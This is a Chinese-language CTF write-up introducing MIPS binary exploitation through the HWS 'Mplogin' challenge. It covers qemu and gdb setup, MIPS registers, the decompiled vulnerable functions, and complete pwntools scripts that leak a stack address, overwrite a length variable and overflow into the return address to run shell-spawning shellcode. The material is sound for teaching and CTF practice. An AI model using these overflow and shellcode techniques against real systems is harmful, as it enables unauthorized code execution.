前提

环境搭建

qemu

如果还没有安装qemu的小伙伴可以通过以下命令安装

1
sudo apt install --install-suggests qemu

gdb-multiarch

1
sudo apt-get install gdb-multiarch

mips软件包

1
2
3
4
5
# 具备MIPS交叉编译gcc与MIPS程序动态链接库
sudo apt-get install gcc-mips-linux-gnu
sudo apt-get install gcc-mipsel-linux-gnu
sudo apt-get install gcc-mips64-linux-gnuabi64
sudo apt-get install gcc-mips64el-linux-gnuabi64

mips汇编

mips架构由于本身特性不支持nx,所以栈段具有执行权限

寄存器 别名 使用
$0 $zero 常量0
$1 $at 保留给汇编器
$2-$3 $v0-$v1 函数返回值
$4-$7 $a0-$a3 函数调用参数
$8-$15 $t0-$t7 临时寄存器
$16-$23 $s0-$s7 保存寄存器
$24-$25 $t8-$t9 临时寄存器
$26-$27 $k0-$k1 保留给系统
$28 $gp 全局指针
$29 $sp 堆栈指针
$30 $fp 帧指针
$31 $ra 返回地址
Instruction Example Meaning
jump j 10000 go to 10000
Jump to target address
jump register jr $31 go to $31
For switch, procedure return
jump and link jal 10000 $31 = PC + 4; go to 10000
For procedure call

分析

静态分析

mips pwn我们就用hws入营赛的一道题来入门

strncmp函数将输入的前5个字节与admin比较,相同返回0,程序继续运行。程序没有对输入的最后一字节置空,输入24个字节后可以通过printf带出数据

1
2
3
4
5
6
7
8
9
10
11
12
13
int username()
{
char v1[24]; // [sp+18h] [+18h] BYREF

memset(v1, 0, sizeof(v1));
printf("\x1B[34m");
printf("Username : ");
read(0, v1, 24);
if ( strncmp(v1, "admin", 5) )
exit(0);
printf("Correct name : %s", v1);
return strlen(v1);
}

变量v2和v3内存空间是连续的,我们read进20个字节后,可以将v3修改为任意值,然后就可以向v4超量写入数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall sub_400978(int a1)
{
char v2[20]; // [sp+18h] [+18h] BYREF
int v3; // [sp+2Ch] [+2Ch]
char v4[36]; // [sp+3Ch] [+3Ch] BYREF

v3 = a1 + 4;
printf("\x1B[31m");
printf("Pre_Password : ");
read(0, v2, 36);
printf("Password : ");
read(0, v4, v3);
if ( strncmp(v2, "access", 6) || strncmp(v4, "0123456789", 10) )
exit(0);
return puts("Correct password : **********");
}

动态调试

分析完函数,开始调试验证,首先介绍下如何调试mips架构下的程序

qemu -g 开启9000端口

1
qemu-mipsel -g 9000 -L ./ Mplogin  | hexdump -C

开启另一个terminal启动gdb多架构调试

1
gdb-multiarch -q ./Mplogin

设置mips架构

1
set architecture mips

选择小端序

1
set endian little

连接目标端口

1
target remote :9000

debug

漏洞利用

输入admin + xxx泄露出栈地址,拿个小本本记下来,待会有大用

use

接下来,我们要篡改v3的值,如果要将v3的值覆盖成不可见字符,比如0x120,上面的调试方法就无能为力了,所以下面将介绍另一种调试方法

写好一段脚本,运行

然后按照下面的步骤执行即可,这种调试方法实际上是通过脚本发送不可见数据,其余与上面所述并无二异

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import * 
context(log_level = 'debug',arch = 'mips',endian = 'little')
#p = process(["qemu-mipsel","-L","./","./Mplogin"])
p = process(["qemu-mipsel","-g","9000","-L","./","./Mplogin"]) #开启9000端口

ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)

sa(b'Username : ',b'admin'.ljust(24,b'a'))
p.recvuntil(b'a' * 19)
stack = u32(p.recv(4))
log.success('stack => ' + hex(stack))

sa(b'Pre_Password : ',b'access'.ljust(20,b'b') + p32(0x120))
p.interactive()

可以看到v3变量(sp+2Ch)已经被覆盖成0x120

overflow

这样就可以通过第二个read溢出至返回地址,修改为栈地址后,即可ret2shellcode

笔者的qemu没有开启aslr,通过调试得到栈地址写入也可以,由于没有远程环境,无法确定远程是否开启aslr

shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import * 
context(log_level = 'debug',arch = 'mips',endian = 'little')
p = process(["qemu-mipsel","-L","./","./Mplogin"])
#p = process(["qemu-mipsel","-g","9000","-L","./","./Mplogin"])

ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)

sa(b'Username : ',b'admin'.ljust(24,b'a'))
p.recvuntil(b'a' * 19)
stack = u32(p.recv(4))
log.success('stack => ' + hex(stack))

sa(b'Pre_Password : ',b'access'.ljust(20,b'b') + p32(0x120))
sa(b'Password : ',b'0123456789'.ljust(40,b'w') + p32(stack) + asm(shellcraft.sh()))
p.interactive()

参考资料

HWS赛题 入门 MIPS Pwn

MIPS PWN入门

mips-pwn